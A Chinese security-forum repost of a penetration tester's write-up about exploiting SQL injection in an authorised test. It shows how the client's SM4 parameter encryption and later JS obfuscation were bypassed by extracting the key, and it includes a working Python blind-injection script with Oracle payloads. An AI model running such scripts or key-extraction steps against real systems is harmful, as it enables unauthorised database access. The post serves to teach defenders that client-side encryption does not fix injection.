安全矩阵

 找回密码
 立即注册
搜索
查看: 4333|回复: 0

一次sm4参数加密下的sql盲注

[复制链接]

991

主题

1063

帖子

4315

积分

论坛元老

Rank: 8Rank: 8

积分
4315
发表于 2020-8-9 20:31:29 | 显示全部楼层 |阅读模式
原文链接:一次sm4参数加密下的sql盲注

0x00 前言
  在一次授权渗透测试中,应用在前端使用sql语句拼接方式传送参数,很明显存在sql注入,提交漏洞后,用户大概不想重构项目,于是将前端参数传输前均进行加密,但是通过JS找到加密密钥后,结合py脚本还是注入了;后续用户再次升级将设计加密的JS也加密混淆了,不过还有办法找到密钥,借此分享,过程中踩坑绕弯,欢迎大表哥们交流指导。
0x01 第一次常规测试

如下图点击功能抓数据包,可以发现参数中明显有SQL语句,后使用1=1 和 1=2 确定了注入点,但是没有返回值,只能盲注了。。




  • py写个脚本,简单爆破了一下数据库长度、数据库名等信息

0x02 第二次参数使用SM4加密
  • 接到复测通知,看了下系统,发现参数被加密了,如下图
  • 这里找加密方法的图没截,大概就是找到对应的ajax方法,可以看到md5_bean参数的生成通过base.js的encryptData_ECB方法生成,打开base.js清晰可见sm4字样以及secretkey和iv,如下图
  • 接下来是如何注入,本来想构造一个sqlmap的tamper脚本,但是发现这个是把所有参数一起加密了,没得思路了,于是还是用py写盲注脚本吧,但是网上找的python实现sm4加密的结果都不一样,考虑到这个后台是java的,肯定是java做的解密,于是找了java的sm4实现,试了一下,结果可以了,于是尝试用py调用打包好的jar包进行注入(这里绕了一个大圈,实际上使用py调用js就行,第三次测试的时候更新了)



  1. import requests
  2.    import json
  3.    import os
  4.    from urllib.parse import quote

  5.    header = {
  6.        "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"
  7.    }
  8.    pay = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ._!@#$%^&*()'

  9.    proxies = {
  10.        'http':'http://127.0.0.1:8080'
  11.    }
  12.    #request构造请求,传入data中的_searchWhere

  13.    def attack(payload):
  14.        url = "http://"
  15.        data = "{"_searchWhere":" %s","title":"","paramsFlag":"false","parVar":"","frameId":"=","readOnly":"","extWhere":"\,"type":"","parWhere":"","dataFlag":""}" % payload
  16.        data = quote(data,'utf-8')
  17.        command = "java -Dmoudle=e -Dstr=%s -jar sm4Decode.jar" % data
  18.        data_sm4 = "".join(os.popen(command).readlines())
  19.        data_send = {"md5_bean":data_sm4}
  20.        cookies = {"": ""}
  21.        result = requests.post(url=url, data=data_send, cookies=cookies, headers=header ,proxies=proxies)
  22.        return len(result.text)
  23.    if __name__ == '__main__':
  24.        # 判断数据库
  25.        for i in range(1,20):
  26.            payload = "and (select length(name) from v$database)=%s" % str(i)
  27.            print(payload)
  28.            lenstr = attack(payload)
  29.            if lenstr > 3000:
  30.                print(lenstr)
  31.                print("数据库长度是%s"% str(i))
  32.                break
  33.            else:
  34.                print(lenstr)
复制代码

4.此时客户疑问,这个sql注入1=1 1=2返回结果是不同、暴露一个数据库版本等信息又有什么用,于是多注了一点信息,证明危害,获取用户表名的过程比较啰嗦,这里只有是结果图。
a. 用户表数据

b. owner表数量

0x03 第三次JS加密混淆隐藏密钥
  • 最后一次复测,用户表示已经没问题了,让再看一下,由于时间有点长,重新找一下加密算法位置
    使用抓包抓到的URL,在chrome调试工具中search一下位置,打下断点,点击功能看一下是否触发断点。

  • 接下来一步一步跟下去,找到参数构造md5_bean参数的位置
  • next找到base64.js,发现代码已经压缩而且加密了。。
  • 遇到JS加密了如果有实力的大佬可以解密js或者 https://www.sojson.com/jsobfuscator.html 付费解密,不过只是想得到密钥和iv的话,可以在断点进入base64.js后,调试窗口肯定会显示密钥和iv值,因为不管怎么混淆,代码还是要被正常执行的。
  • 接下来又是注入了,之前用的脚本思路太麻烦了,这次简单点,直接调SM4加密的js,由于这段js已经混淆了,于是从网上找来base64.js的源码简单改了一下,使用python的execjs调用加密。
a. java解开加密内容如图

b. python调用js加密明文内容,对比结果(调用js的代码如图,上面没有了,因此没有粘过来,感觉内容有点啰嗦了)

6.如此便不用java介入了,之后的操作就是利用之前的盲注脚本,修改一下data参数的加密获取就行了,重复的盲注过程。


0x04 总结
  • 实际上现在得web框架中很少这种前端传js的了,但是在很多老企业中还是有部分网站不想重构,这样的例子有很多,第一次开发说出这种修复sql注入的方法时,还很犹豫的回答,还可以注入吧。。。,没想到真的有人这样修复,随着一次一次的治标不治本,自己也在不断探索学习。
  • 有的时候感觉除非大厂,很多网站如果一抓包看到把参数一起加密了,很有可能是在想隐藏什么漏洞。。。
  • 还有一个小坑,加密js在JavaScript中需要手动new一个对象,再用py调用对象+方法。




回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-28 05:37 , Processed in 0.012500 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表